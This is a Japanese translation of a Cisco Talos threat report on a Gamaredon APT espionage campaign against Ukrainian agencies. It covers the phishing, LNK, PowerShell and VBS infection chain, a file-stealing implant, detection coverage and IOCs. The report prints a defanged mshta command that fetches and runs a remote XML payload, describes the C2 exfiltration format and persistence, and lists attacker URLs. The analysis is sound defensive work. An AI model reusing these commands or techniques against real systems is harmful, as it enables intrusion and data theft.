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Gamaredon APT がウクライナの政府機関を狙った新たな攻撃を展開


2022年10月3日


  • Cisco Talos はこのほど、ロシアとつながりがある Gamaredonpopup_icon APT が新たな攻撃を展開していて、ウクライナの標的に情報窃取型のマルウェアを感染させていることを確認しました。
  • 攻撃者は不正ドキュメントを使用しており、ロシアのウクライナ侵攻に関連する話題で標的を誘い込もうとしています。
  • 初期アクセスでは LNK ファイル、PowerShell、VBScript が使用されており、感染後のフェーズで悪意のあるバイナリが展開されます。
  • カスタムメイドの情報窃取マルウェアインプラントが使用されていることが確認されました。このインプラントは、被害者の環境から関心のあるファイルを盗み出す機能と、攻撃者の指示に従って追加のペイロードを展開する機能を備えています。

Cisco Talos は、Gamaredon APT がウクライナを標的とした攻撃活動を展開しており、RAR アーカイブで悪意のある LNK ファイルを配布していることを確認しました。この攻撃は、2022 年 8 月に確認されて現在も継続されているスパイ活動の一環であり、ウクライナの被害者のマシンに情報窃取型のマルウェアを配布することを目的としています。感染チェーンでは、複数のモジュール型 PowerShell および VBScript(VBS)スクリプトが多用されています。この情報窃取マルウェアは 2 つの目的を持っており、感染したエンドポイントで特定のファイルタイプを盗み出す機能と、追加のバイナリやスクリプトベースのペイロードを展開する機能を備えています。

攻撃者はフィッシングメールを使用して Microsoft Office ドキュメントを配布しています。このドキュメントに含まれているリモートテンプレートには、悪意のある VBScript マクロが仕込まれています。それらのマクロは、LNK ファイルを含んだ RAR アーカイブをダウンロードして開きます。その後、LNK ファイルによって次のステージのペイロードが感染したエンドポイントにダウンロードされ、アクティブ化されます。今回の攻撃と、ウクライナのコンピュータ緊急対応チーム(CERT-UA)が Gamaredon によるものと最近発表popup_iconした一連の攻撃popup_iconの間には、戦術、手法、手順(TTP)、マルウェアアーティファクト、インフラストラクチャの面で多くの共通点があることが確認されています。

また、ウクライナのいくつかの機関に侵入しようとする試みも確認されています。これらの観察結果や、Gamaredon は過去の攻撃でほぼ例外なくウクライナを標的にしていることから、この最近の攻撃でウクライナの機関が直接の標的になっているのはほぼ確実であると Talos では考えています。

攻撃チェーン

初期アクセス

攻撃者である Gamaredon APT は、悪意のある Microsoft Office ドキュメントを電子メールに添付して配布することで、標的のネットワークに対する最初の足掛かりを築いている可能性があります。これは、この APT が好んで使用するスピアフィッシング手法と一致しています。

ドキュメントを開くと、リモートテンプレートに仕込まれた悪意のある VBS マクロが実行されます。このマクロによって、LNK ファイルを含んだ RAR アーカイブがダウンロードされます。この攻撃で使用される RAR アーカイブは、次のような命名パターンに従っています。

  • 07.2022.rar
  • 08.2022.rar
  • 08.2022.rar

これらの圧縮アーカイブには、通常、LNK ファイルのみが含まれています。LNK ファイルや Microsoft Office ドキュメントの名前は、ロシアのウクライナ侵攻に関するものとなっています。

 

実行

LNK が開かれると、次のように MSHTA.EXE が実行されてリモート XML ファイルがダウンロードおよび解析され、悪意のある PowerShell スクリプトが実行されます。

mshta.exe hxxp://a0704093.xsph[.]ru/bass/grudge.xml /f

Gamaredon はドメイン xsph[.]ru を使用することが知られていますpopup_icon。この攻撃でサーバーが受け付けるのは、ウクライナのアドレス空間に属する IP アドレスからのアクセスのみです。

この PowerShell スクリプトは 2 番目の PowerShell スクリプト(展開ツール)を復号化して実行します。この 2 番目の PowerShell スクリプトは、被害者のデータを収集してリモートサーバーに送信します。また、リモートサーバーはこのスクリプトを通じて、PowerShell コマンドや暗号化された VBScript(VBS)コードを含んだバイナリ BLOB を送信し、ローカルで実行させることができます。

エンドポイントで追加のコマンドやペイロードを実行する第 2 ステージの PowerShell スクリプト

この PowerShell スクリプト(展開ツール)は通常、コマンドアンドコントロール(C2)サーバーからの暗号化された応答を復号化して、VBScript オブジェクトとして実行する機能を備えています。XOR デコーダで使用されるキーは、マシンのボリュームシリアル番号と、応答 BLOB で渡されるインデックスパラメータに基づいて計算されます。したがって、データを傍受できたとしても、両方のパラメータが分からなければ悪意のあるコンテンツを復号化することは困難となっています。

さらに、この PowerShell スクリプトは現在のユーザーの画面を繰り返しキャプチャします。このコードは、「System.Windows.Forms」オブジェクトを使用して仮想デスクトップのコピーをキャプチャします。これにはマルチスクリーンのセットアップも含まれます。スクリーンキャプチャは 9 回実行されますが、スクリーンショットは常に「%TEMP%\test.png」に保存され、毎回上書きされます。作成された画像(PNG ファイル)が base64 エンコードの文字列に変換されて変数に保存されると、スクリーンショットの画像ファイルがディスクから削除されます。

その後、被害者の情報がリモートサーバーにアップロードされます。次の情報が収集されて、ハードコーディングされた C2 URL に送信されます。

  • コンピュータ名
  • ボリュームシリアル番号
  • base64 エンコードされたスクリーンショット

システム情報が送信されると、サーバーの応答が解析され、実行するコマンドの有無が確認されます。スクリプト全体は最大 4 回実行されるので、最大で 4 種類のコマンドが毎回実行される可能性があります。

このコードでは、最初の文字が感嘆符(「!」)であるかどうかが確認されます。感嘆符である場合、応答の残りの部分は PowerShell コードであると見なされ、コマンド IEX に直接渡されます。その後、このコマンドの出力が変数「cmd」に追加され、C2 サーバーに送信されます。

応答が他の文字で始まっている場合は、暗号化された BLOB であると見なされ、ボリュームシリアル番号とともにデコーダ関数に渡されて復号化され、VBScript として実行されます。

感染チェーンの図

ペイロード

さらに別の PowerShell スクリプト

展開ツールスクリプトに提供されたペイロードの 1 つとして、PowerShell コードがあります。このコードは環境変数を設定して別の PowerShell コードを保存し、ユーザーがログインするたびに実行されるようにレジストリ RUN キーを設定します。

RUN キーを設定して、環境変数に保存した別の PowerShell スクリプトが実行されるようにする PowerShell スクリプト

 

このスクリプトには、次の 2 つの主要コンポーネントがあります。

  • Get-IP 関数:この関数は、攻撃者が指定したドメインを DNS ルックアップサービスにクエリし、返された IP アドレスの 1 つを IP として使用して次のステージのペイロードをダウンロードします。
  • 次のステージのペイロード:PowerShell スクリプトはこの IP アドレスを使用して、次のステージの PowerShell スクリプトの提供元となる URL を作成します。その後、次のステージの PowerShell スクリプトが「$env:Include」に保存され、ユーザーがログインするたびに(HKCU\\Run キーを通じて)実行されます。

リモートロケーションの IP を取得する永続化スクリプト

環境変数内の PowerShell コードは、感染したエンドポイントに攻撃者が継続的にアクセスできるようにすることを目的としており、必要に応じて追加のペイロードを展開する機能を備えています。Gamaredon が 2022 年上半期に行った GammaLoad および GammaSteel インプラントを使用した侵入でも同様の PowerShell スクリプトが使用されたことが、CERT-UA の最近の警告popup_iconで説明されています。

環境変数に保存される PowerShell スクリプト

このスクリプトは、同じ Get-IP() 関数を使用して、ドメインに割り当てられた IP の 1 つをランダムに取得し、その IP アドレスとハードコーディングされた拡張リソースからなる URL をクエリします。前のスクリプトと同様に、C2 サーバーとの通信ではコンピュータ名とボリュームシリアル番号が使用されます。C2 サーバーはそれらを使用して次のステージのペイロードをエンコードし、スクリプトに提供します。

C2 からの応答が「http」で始まっている場合は、最終ペイロードのバイナリをダウンロードするための URL と見なされます。ボリュームシリアル番号とコンピュータ名がこの URL に渡され、その応答が XorBytes 関数を使用して復号化されます。

C2 サーバーからのペイロードを復号化するための PowerShell 関数

復号されたバイナリは、ランダムな数字の文字列に「.exe」というファイル拡張子を付加した名前で「%TEMP%」フォルダに保存され、実行されます。

C2 からの応答が「http」で始まっていない場合は、VBS と見なされて COM オブジェクトを通じて実行されます。

情報窃取マルウェア

PowerShell スクリプトを通じて攻撃者が展開した実行ファイルの 1 つとして、情報窃取マルウェアがあります。このマルウェアは、拡張子が .doc、.docx、.xls、.rtf、.odt、.txt、.jpg、.jpeg、.pdf、.ps1、.rar、.zip、.7z、.mdb のファイルを感染したエンドポイントから盗み出します。これは新しい情報窃取マルウェアで、Gamaredon の過去の他の攻撃では使用されていません。Gamaredon が使用している「Giddome」バックドアファミリのコンポーネントの 1 つではないかと思われますが、現時点では確認できていません。

この悪意のあるバイナリは、窃取したファイルを「%USERPROFILE%\Appdata\Local」フォルダ内の「profiles_c.ini」というファイルで追跡します。窃取したファイルのファイル名、ファイルサイズ、変更日時からなる文字列の MD5 ハッシュがここに保存されます。

このマルウェアが起動されると、接続されているすべてのストレージデバイスがスキャンされて、前述の拡張子を持つファイルが検索されます。それぞれのファイルについて POST リクエストが行われ、窃取したファイルに関するメタデータとそのコンテンツが送信されます。

ファイルを窃取する POST データ

パラメータ「p」には、窃取したファイルと被害者のマシンに関するメタデータが次の形式で含まれています。

%u&&%s&&%s&&%s&&%s&&%s

各パラメータは次のとおりです。

<Hard_coded_value>&&<File_name>&&<File_Modification_Date_time>&&<FileSize>&&__&&<Computer_Name>&&<Username>&&<Victim_ID_randomly_generated_string_12_chars>&&<Volume Serial Number>

メタデータの後に、ファイルの raw コンテンツが続きます。リクエストは、親の C2 ドメインのランダムな URI に対して行われます。インプラントが生成したランダムな 12 文字の文字列が C2 ドメインのサブドメインとして使用されてリクエストが送信されます。

例:<random_12_char_string>[.]celticso[.]ru

このインプラントは、固定ドライブとリモートドライブ、特に「C:\Users」フォルダにある関連するファイル拡張子も検索します。システム上のディレクトリにあるすべてのファイルが再帰的に列挙されますが、次の文字列をパスに含むフォルダは列挙されません。

  • program files
  • program files (x86)
  • programdata
  • perflogs
  • prog
  • windows
  • appdata
  • local
  • roaming

これらのフォルダを避けることで、システムファイルを除外して、関心のあるユーザーファイルだけを盗み出そうとしている可能性があります。

C2 に送信したファイルごとに次の情報の MD5 ハッシュが計算されて、「%LocalAppData%\profiles_c.ini」ファイルに保存されます。

<file_path><File_size><File_modification_date_time>

さらに、感染したエンドポイントに接続されているリムーバブルドライブからもファイルが窃取されます。リムーバブルドライブが見つかると、前述のファイル拡張子を持つファイルが検索されます。ファイルが見つかると、%TEMP% ディレクトリにランダムな名前のフォルダが作成され、そのファイルが元の場所から次の場所にコピーされます。

%Temp%\<randomly_named_folder>\connect\<removable_vol_serial_number>\<original file path>

たとえば、リモートドライブ「E:」のパス「E:\top_secret_docs\isengard.doc」で見つかったユーザーファイルは、次の場所にコピーされます。

「%temp%\randomly_named_folder\connect\<removable_vol_serial_number>\top_secret_docs\isengard.doc」

その後、一時ディレクトリ内のフォルダの内容が C2 に送信されます。

ペイロードの配布

前述のツール(PS1 スクリプトなど)と同様に、このバイナリでもサーバー応答が解析され、リクエストに応じて追加のペイロードがダウンロードされます。サーバーからの応答には、データの処理方法を示すフラグが含まれています。

フラグ ペイロードタイプ アクション
1 EXE ディスクに書き込んで実行する。
2 VBS ディスクに書き込み、wscript.exe を使用して実行する。
その他の値 データの BLOB ディスク上の %TEMP% フォルダ内のファイルに書き込む。

 

追加のペイロードをドロップするコードの流れ

このマルウェアがシステムに存在する可能性を示すその他の兆候には、次のものがあります。

  • 「Windows Task」という永続化のためのレジストリキーが HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run に作成される
  • Global\flashupdate_r というミューテックスが作成される

カバレッジ

お客様がこの脅威を検出してブロックするための方法を以下に記載します。

Cisco Secure Endpoint(旧 AMP for Endpoints)は、この記事で説明したマルウェアの実行を阻止するのに最適です。Cisco Secure Endpoint の無料トライアルはこちらからpopup_iconお申し込みください。

Cisco Secure Web Appliance の Web スキャンは、悪意のある Web サイトへのアクセスを防止し、上述したような攻撃で使用されるマルウェアを検出します。

Cisco Secure Email(旧 E メールセキュリティ)は、攻撃の一環として攻撃者が送りつける不正な電子メールをブロックします。Cisco Secure Email の無料トライアルはこちらからお申し込みください。Threat Defense Virtual適応型セキュリティアプライアンスMeraki MX など、

Cisco Secure Firewall(旧次世代ファイアウォールおよび Firepower NGFW)アプライアンスは、この脅威に関連する悪意のあるアクティビティを検出できます。

Cisco Secure Malware Analytics(Threat Grid)は、悪意のあるバイナリを特定し、シスコのすべてのセキュリティ製品に保護機能を組み込みます。

Umbrella(シスコのセキュア インターネット ゲートウェイ(SIG))は、社内ネットワークの内外で悪意のあるドメイン、IP、URL への接続をブロックします。Umbrella の無料トライアルはこちらからpopup_iconお申し込みください。

Cisco Secure Web Appliance(旧 Web セキュリティアプライアンス)は、危険性のあるサイトを自動的にブロックし、ユーザーがアクセスする前に疑わしいサイトをテストします。

特定の環境および脅威データに対する追加の保護機能は、Firewall Management Center から入手できます。

Cisco Duo popup_iconは、ユーザーに多要素認証を提供し、承認されたユーザーのみがネットワークにアクセスできるようにします。

オープンソースの Snort サブスクライバルールセットをお使いであれば、Snort.orgpopup_icon で購入可能な最新のルールパックをダウンロードすることで、最新状態を維持できます。この脅威に対応するための Snort ルール 60517 ~ 60539 が提供されています。

Orbital クエリ

Cisco Secure Endpoint ユーザーは、Orbital Advanced Search popup_iconを使用して複雑な OSquery を実行し、エンドポイントが特定の脅威に感染しているかどうかを確認できます。類似の脅威に対応する OSquery の具体例については、こちらpopup_iconこちらpopup_iconをクリックしてください。

IOC(侵入の痕跡)

IOC リストは、こちらpopup_iconにある Talos の GitHub リポジトリからも入手できます。

悪意のあるドキュメント

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LNK ファイル

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RAR ファイル

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情報窃取マルウェア

139547707f38622c67c8ce2c026bf32052edd4d344f03a0b37895b5de016641a

悪意のある URL

hxxp://a0698649.xsph[.]ru/barley/barley.xml
hxxp://a0700343.xsph[.]ru/new/preach.xml
hxxp://a0700462.xsph[.]ru/grow/guests.xml
hxxp://a0700462.xsph[.]ru/seek/lost.xml
hxxp://a0701919.xsph[.]ru/head/selling.xml
hxxp://a0701919.xsph[.]ru/predator/decimal.xml
hxxp://a0701919.xsph[.]ru/registry/prediction.xml
hxxp://a0704093.xsph[.]ru/basement/insufficient.xml
hxxp://a0704093.xsph[.]ru/bass/grudge.xml
hxxp://a0705076.xsph[.]ru/ramzeses1.html
hxxp://a0705076.xsph[.]ru/regiment.txt
hxxp://a0705269.xsph[.]ru/bars/dearest.txt
hxxp://a0705269.xsph[.]ru/instruct/deaf.txt
hxxp://a0705269.xsph[.]ru/prok/gur.html
hxxp://a0705581.xsph[.]ru/guinea/preservation.txt
hxxp://a0705880.xsph[.]ru/band/sentiment.txt
hxxp://a0705880.xsph[.]ru/based/pre.txt
hxxp://a0705880.xsph[.]ru/selection/seedling.txt
hxxp://a0706248.xsph[.]ru/reject/headlong.txt
hxxp://a0707763.xsph[.]ru/decipher/prayer.txt

追加のペイロードのドロップサイト

hxxp://155.138.252[.]221/get.php
hxxp://45.77.237[.]252/get.php
hxxp://motoristo[.]ru/get.php
hxxp://heato[.]ru/index.php
hxxps://<random_string>.celticso[.]ru
162[.]33[.]178[.]129
kuckuduk[.]ru
pasamart[.]ru
celticso[.]ru

 

本稿は 2022 年 09 月 15 日に Talos Grouppopup_icon のブログに投稿された「Gamaredon APT targets Ukrainian government agencies in new campaignpopup_icon」の抄訳です。

 

 

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